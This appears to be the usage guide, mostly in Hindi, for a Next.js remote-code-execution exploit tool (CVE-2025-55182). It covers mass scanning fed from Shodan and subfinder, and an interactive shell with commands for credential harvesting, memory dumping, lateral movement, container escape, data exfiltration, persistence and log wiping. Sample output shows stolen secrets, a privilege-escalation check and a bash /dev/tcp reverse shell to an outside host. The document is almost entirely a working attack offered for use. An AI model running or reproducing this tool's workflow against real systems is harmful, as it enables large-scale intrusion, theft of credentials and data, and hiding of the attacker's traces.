# Python 3.6 या उच्चतर
python3 --version

# निर्भरताएँ स्थापित करें
pip3 install requests urllib3

# टूल को क्लोन या डाउनलोड करें
cd r2s-main

# निष्पादन योग्य बनाएं (वैकल्पिक)
chmod +x r2s_enhanced.py

# टूल चलाएं
python3 r2s_enhanced.py -h

python3 r2s_enhanced.py [विकल्प]

python3 r2s_enhanced.py -u http://target.com

python3 r2s_enhanced.py -l targets.txt -t 50

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

upload <local_file> <remote_path>    # लक्ष्य पर फ़ाइल अपलोड करें
download <remote_file> <local_path>  # लक्ष्य से फ़ाइल डाउनलोड करें

cd <directory>                       # कार्य निर्देशिका बदलें
pwd                                  # कार्य निर्देशिका प्रिंट करें

enum                                 # पूर्ण सिस्टम एनुमरेशन
privesc                              # प्रिविलेज एस्केलेशन जाँच
harvest                              # क्रेडेंशियल हार्वेस्टिंग
portscan <ip>                        # आंतरिक नेटवर्क पोर्ट स्कैन करें
memdump [pid]                        # रहस्यों के लिए प्रक्रिया मेमोरी डंप करें

lateral                              # लेटरल मूवमेंट के अवसर
escape                               # कंटेनर एस्केप वेक्टर
exfil [type]                         # डेटा निकालें (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # कई रिवर्स शेल पेलोड आज़माएं

persist                              # बुनियादी पर्सिस्टेंस जोड़ें
advpersist                           # उन्नत पर्सिस्टेंस जोड़ें

stealth                              # लॉग साफ़ करें और निशान छिपाएं

save                                 # वर्तमान सत्र सहेजें
help, ?                              # सहायता संदेश दिखाएं
exit, quit                           # इंटरैक्टिव शेल से बाहर निकलें

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

$ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id

[VULN] http://vulnerable-app.com >>> RCE SUCCESS
       Output: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse

[+] HTTP server started on 192.168.1.100:8000

next-rce:/app$

next-rce:/app$ enum

[*] Starting automated enumeration...

============================================================
[*] System Info
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Current User
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Container Detection
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker container detected]

...

# Upload a file
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Uploading /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload successful!
    -rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh

# Download a file
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Downloading /etc/passwd via HTTP...
[+] Download successful! (1523 bytes)
    Saved to: ./passwd.txt

next-rce:/app$ harvest

[*] Harvesting credentials...

[*] Environment Variables:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] .env Files:
/app/.env
/app/.env.production
/var/www/.env.local

[*] SSH Keys:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

next-rce:/app$ reverse 192.168.1.100 4444

[*] Starting reverse shell attempts to 192.168.1.100:4444
[!] Make sure you have a listener running: nc -lvnp 4444

[*] Trying 25 different reverse shell payloads...

[1/25] Trying Bash TCP... ✓ Executed
[?] Did you receive a connection? (y/n/s to stop): y

[+] SUCCESS! Reverse shell established using: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com

$ python3 r2s_enhanced.py -l targets.txt -t 50

[*] Loaded 3 targets. Starting scan with 50 threads...

[VULN] http://app1.example.com >>> RCE SUCCESS
[VULN] http://app3.example.com >>> RCE SUCCESS

[*] Scan completed.

next-rce:/app$ privesc

[*] Checking privilege escalation vectors...

[*] SUID Binaries:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Sudo Permissions:
User node may run the following commands:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Docker Group:
In docker group - EXPLOITABLE!

...

next-rce:/app$ escape

[*] Checking container escape vectors...

[*] Container Type:
12:devices:/docker/a1b2c3d4e5f6

[*] Privileged Container:
PRIVILEGED

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Full capabilities - container is privileged]

...